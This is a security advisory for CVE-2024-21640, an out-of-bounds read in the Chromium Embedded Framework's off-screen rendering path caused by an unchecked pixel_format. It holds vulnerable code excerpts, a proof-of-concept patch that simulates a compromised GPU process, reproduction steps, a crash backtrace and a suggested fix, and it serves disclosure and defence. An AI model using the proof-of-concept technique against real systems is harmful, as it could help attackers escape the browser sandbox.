Skip to content

OOB Access in CefVideoConsumerOSR::OnFrameCaptured

Moderate
magreenblatt published GHSA-3h3j-38xq-v7hh Jan 8, 2024

Package

No package listed

Affected versions

< 121

Patched versions

120.2.3, 121.2.6, and newer

Description

Summary

CefVideoConsumerOSR::OnFrameCaptured does not check pixel_format properly, which leads to out-of-bounds read out of the sandbox.

Details

CefVideoConsumerOSR::OnFrameCaptured handles the frame data received from GPU Process when OSR is enabled. data is the handle of the shared buffer, info->pixel_format is the format, such as ARGB, and info->coded_size holds the width and height. It will call media::VideoFrame::AllocationSize to calculate the size of the frame with certain pixel_format and coded_size and checks that it is not bigger than the size of the shared memory [1]. However, it calls view_->OnPaint without the pixel_format[2]. Finally, in OsrRenderer::OnPaint (The default implementation in cefclient), it assumes the format is ARGB [3].

A compromised GPU process can send a malicious frame with a different pixel_format. For example, UNKNOWN, which will let AllocationSize always return zero. Thus, a buffer smaller than the AllocationSize of ARGB can pass the check[1] and lead to out-of-bounds read.

// libcef/browser/osr/video_consumer_osr.cc
void CefVideoConsumerOSR::OnFrameCaptured(
    media::mojom::VideoBufferHandlePtr data,
    media::mojom::VideoFrameInfoPtr info,
    const gfx::Rect& content_rect,
    mojo::PendingRemote<viz::mojom::FrameSinkVideoConsumerFrameCallbacks>
        callbacks) {

//  ......

  if (mapping.size() <
      media::VideoFrame::AllocationSize(info->pixel_format, info->coded_size)) {    // [1]
    DLOG(ERROR) << "Shared memory size was less than expected.";
    return;
  }

//  ......
  
  view_->OnPaint(damage_rect, info->coded_size, pixels);          // [2]
}
// tests/cefclient/browser/osr_renderer.cc
void OsrRenderer::OnPaint(CefRefPtr<CefBrowser> browser,
                          CefRenderHandler::PaintElementType type,
                          const CefRenderHandler::RectList& dirtyRects,
                          const void* buffer,
                          int width,
                          int height) {
  
//  ......
  
        glTexImage2D(GL_TEXTURE_2D, 0, GL_RGBA, view_width_, view_height_, 0,
                   GL_BGRA, GL_UNSIGNED_INT_8_8_8_8_REV, buffer);     // [3]
  
//  ......
  
}

VERSION: latest (121.0.0-HEAD.2874+ge4acace+chromium-121.0.6167.0)

PoC

  1. Apply the following patch in chromium src:
diff --git a/components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc b/components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc
index 187aa0c4cc48c..ad60c0394e7ab 100644
--- a/components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc
+++ b/components/viz/service/frame_sinks/video_capture/frame_sink_video_capturer_impl.cc
@@ -1413,6 +1413,8 @@ void FrameSinkVideoCapturerImpl::MaybeDeliverFrame(
   info->pixel_format = frame->format();
   info->coded_size = frame->coded_size();
   info->visible_rect = frame->visible_rect();
+  info->coded_size.SetSize(1000,1000);
+  info->pixel_format=media::VideoPixelFormat::PIXEL_FORMAT_UNKNOWN;
   DCHECK(frame->ColorSpace().IsValid());  // Ensure it was set by this point.
   info->color_space = frame->ColorSpace();
  1. Build cefclient

  2. Run cefclient with --enable-gpu and --off-screen-rendering-enabled, then visit an arbitrary web page.

Crash Backtrace:

#0  0x00000000405c8eb1 in  ()
#1  0x00007f01280201a0 in  ()
#2  0x0000561f81c745e0 in  ()
#3  0x00007ffe85534100 in  ()
#4  0x00000000000003e8 in  ()
#5  0x00007f00fa8628ed in  ()
    at /lib/x86_64-linux-gnu/libnvidia-glcore.so.470.223.02
#6  0x00007f00fa86c901 in  ()
    at /lib/x86_64-linux-gnu/libnvidia-glcore.so.470.223.02
#7  0x00007f00fa9817c0 in  ()
    at /lib/x86_64-linux-gnu/libnvidia-glcore.so.470.223.02
#8  0x00007f00fa98cc0d in  ()
    at /lib/x86_64-linux-gnu/libnvidia-glcore.so.470.223.02
#9  0x00007f00fa98e184 in  ()
    at /lib/x86_64-linux-gnu/libnvidia-glcore.so.470.223.02
#10 0x00007f00fa98e508 in  ()
    at /lib/x86_64-linux-gnu/libnvidia-glcore.so.470.223.02
#11 0x0000561f80869074 in client::OsrRenderer::OnPaint(scoped_refptr<CefBrowser>, cef_paint_element_type_t, std::__Cr::vector<CefRect, std::__Cr::allocator<CefRect> > const&, void const*, int, int)
     (this=0x561f80c8b458, browser=..., type=<optimized out>, dirtyRects=..., buffer=0x7f0127e5a000, width=0x3e8, height=0x3e8)
    at ../../cef/tests/cefclient/browser/osr_renderer.cc:337
#12 0x0000561f8088f98b in client::BrowserWindowOsrGtk::OnPaint(scoped_refptr<CefBrowser>, cef_paint_element_type_t, std::__Cr::vector<CefRect, std::__Cr::allocator<CefRect> > const&, void const*, int, int)
     (this=0x561f80c8b420, browser=..., type=PET_VIEW, dirtyRects=..., buffer=0x7f0127e5a000, width=0x3e8, height=0x3e8)
    at ../../cef/tests/cefclient/browser/browser_window_osr_gtk.cc:1254
#13 0x0000561f8085b4d3 in non-virtual thunk to client::ClientHandlerOsr::OnPaint(scoped_refptr<CefBrowser>, cef_paint_element_type_t, std::__Cr::vector<CefRect, std::__Cr::allocator<CefRect> > const&, void const*, int, int) () at ../../cef/tests/cefclient/browser/client_handler_osr.cc:118
#14 0x0000561f808eea95 in (anonymous namespace)::render_handler_on_paint(_cef_render_handler_t*, _cef_browser_t*, cef_paint_element_type_t, unsigned long, _cef_rect_t const*, void const*, int, int)
    (self=<optimized out>, browser=0x561f811a2840, type=PET_VIEW, dirtyRectsCount=<optimized out>, dirtyRects=<optimized out>, buffer=0x7f0127e5a000, width=0x3e8, height=0x3e8)
    at ../../cef/libcef_dll/cpptoc/render_handler_cpptoc.cc:307
#15 0x00007f0168b9d5f1 in CefRenderHandlerCToCpp::OnPaint(scoped_refptr<CefBrowser>, cef_paint_element_type_t, std::__Cr::vector<CefRect, std::__Cr::allocator<CefRect> > const&, void const*, int, int)
    (this=<optimized out>, browser=..., type=PET_VIEW, dirtyRects=<optimized out>, buffer=0x7f0127e5a000, width=0x3e8, height=0x3e8)
    at ../../cef/libcef_dll/ctocpp/render_handler_ctocpp.cc:232
#16 0x00007f0168c74ada in CefRenderWidgetHostViewOSR::OnPaint(gfx::Rect const&, gfx::Size const&, void const*)
     (this=0x561f81585150, damage_rect=<optimized out>, pixel_size=..., pixels=0x7f0127e5a000)
    at ../../cef/libcef/browser/osr/render_widget_host_view_osr.cc:1577
#17 0x00007f0168c79841 in CefVideoConsumerOSR::OnFrameCaptured(mojo::StructPtr<media::mojom::VideoBufferHandle>, mojo::StructPtr<media::mojom::VideoFrameInfo>, gfx::Rect const&, mojo::PendingRemote<viz::mojom::FrameSinkVideoConsumerFrameCallbacks>)
    (this=0x561f815cae70, data=..., info=..., content_rect=<optimized out>, callbacks=...)
    at ../../cef/libcef/browser/osr/video_consumer_osr.cc:141

SUGGESTED FIX

Check if info->pixel_format is ARGB in CefVideoConsumerOSR::OnFrameCaptured.

Severity

Moderate

CVE ID

CVE-2024-21640

Weaknesses

Credits